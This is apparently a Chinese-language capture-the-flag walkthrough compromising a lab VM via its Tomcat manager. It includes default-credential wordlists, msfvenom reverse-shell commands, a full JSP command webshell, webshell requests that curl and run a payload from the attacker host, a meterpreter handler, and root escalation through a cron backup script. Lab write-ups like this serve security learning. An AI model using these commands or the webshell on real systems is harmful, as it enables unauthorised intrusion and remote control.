1、找到靶机ip:192.168.1.106
nmap -sn 192.168.1.0/24
2、扫描靶机端口,开放22和8080端口
3、先搜索对应中间件有没有公开漏洞,没有发现,于是先从8080端口入手,访问之后是一个tomcat服务默认页面,先扫描一下目录
可疑的就只有shell目录,但是访问就一直转圈,跟平常反弹shell的页面一样,所以猜测应该是作者测试时上传的,结合tomcat和shell目录,可以猜想应该是tomcat后台布置war包getshell,但是管理后台需要用户名和密码登录,可以使用msf进行爆破,具体模块是
auxiliary/scanner/http/tomcat_mgr_login
爆破工具个人认为不是很重要,bp也可以,重要的是字典,上述模块所用到的字典文件内容如下
user.txt admin manager role1 root tomcat both pass.txt admin manager role1 root tomcat s3cret vagrant user_pass.txt j2deployer j2deployer ovwebusr OvW*busr1 cxsdk kdsxc root owaspbwa ADMIN ADMIN xampp xampp tomcat s3cret QCC QLogic66 admin vagrant
爆破得到管理后台用户名和密码 tomcat:role1
4、生成war包的方式有多种,可以直接使用msfvenom生成,访问能直接反弹shell,命令如下
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.100 LPORT=1234 -f war -o revshell.war
也可以自己手动生成war包,先找到一个jsp木马文件,能回显执行命令
//示例 //index.jsp //来源:https://xz.aliyun.com/t/5326 <%@ page contentType="text/html;charset=big5" session="false" import="java.io.*" %> <html> <head> <title></title> <meta http-equiv="Content-Type" content="text/html; charset=big5"> </head> <body> <% Runtime runtime = Runtime.getRuntime(); Process process =null; String line=null; InputStream is =null; InputStreamReader isr=null; BufferedReader br =null; String ip=request.getParameter("cmd"); try { process =runtime.exec(ip); is = process.getInputStream(); isr=new InputStreamReader(is); br =new BufferedReader(isr); out.println("<pre>"); while( (line = br.readLine()) != null ) { out.println(line); out.flush(); } out.println("</pre>"); is.close(); isr.close(); br.close(); } catch(IOException e ) { out.println(e); runtime.exit(1); } %> </body> </html>
将该文件压缩成zip包,然后将zip后缀改成war就制作完成了
5、部署war包
6、反弹shell,使用msfvenom生成elf文件,然后下载到靶机运行
http://192.168.1.106:8080/cr4ke3/?cmd=curl%20-o%20/tmp/shell%20http://192.168.1.105:8088/shell.elf http://192.168.1.106:8080/cr4ke3/?cmd=chmod%20777%20/tmp/shell
http://192.168.1.106:8080/cr4ke3/?cmd=/tmp/shell
打开msf监听端口
msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.105 set lport 4444 run
成功反弹shell
7、在/home/thales目录下发现notes.txt和user.txt文件
notes.txt内容 I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck. user.txt没有权限
按常理说应该是要先提权到thales用户再提权到root,根据notes.txt文件提示有一个备份文件backup.sh,查看文件权限,发现所有者和组都是root,所以应该是以root的身份在后台运行,可以使用pspy64脚本查看一下,我这里就直接验证猜想
反弹shell两种办法,直接写一句话反弹shell在脚本里,或者在脚本里运行msfvenom生成的木马
就用第二种吧,同样的步骤,拿到user.txt和root.txt
8、补充
(1)步骤4-6只需要msf一个模块即可反弹shell
exploit/multi/http/tomcat_mgr_upload
(2)在tomcat用户下获得thales的密码,可以在/home/thales/.ssh在下载id_rsa文件到本地进行爆破密码
(3)root用户下查看定时任务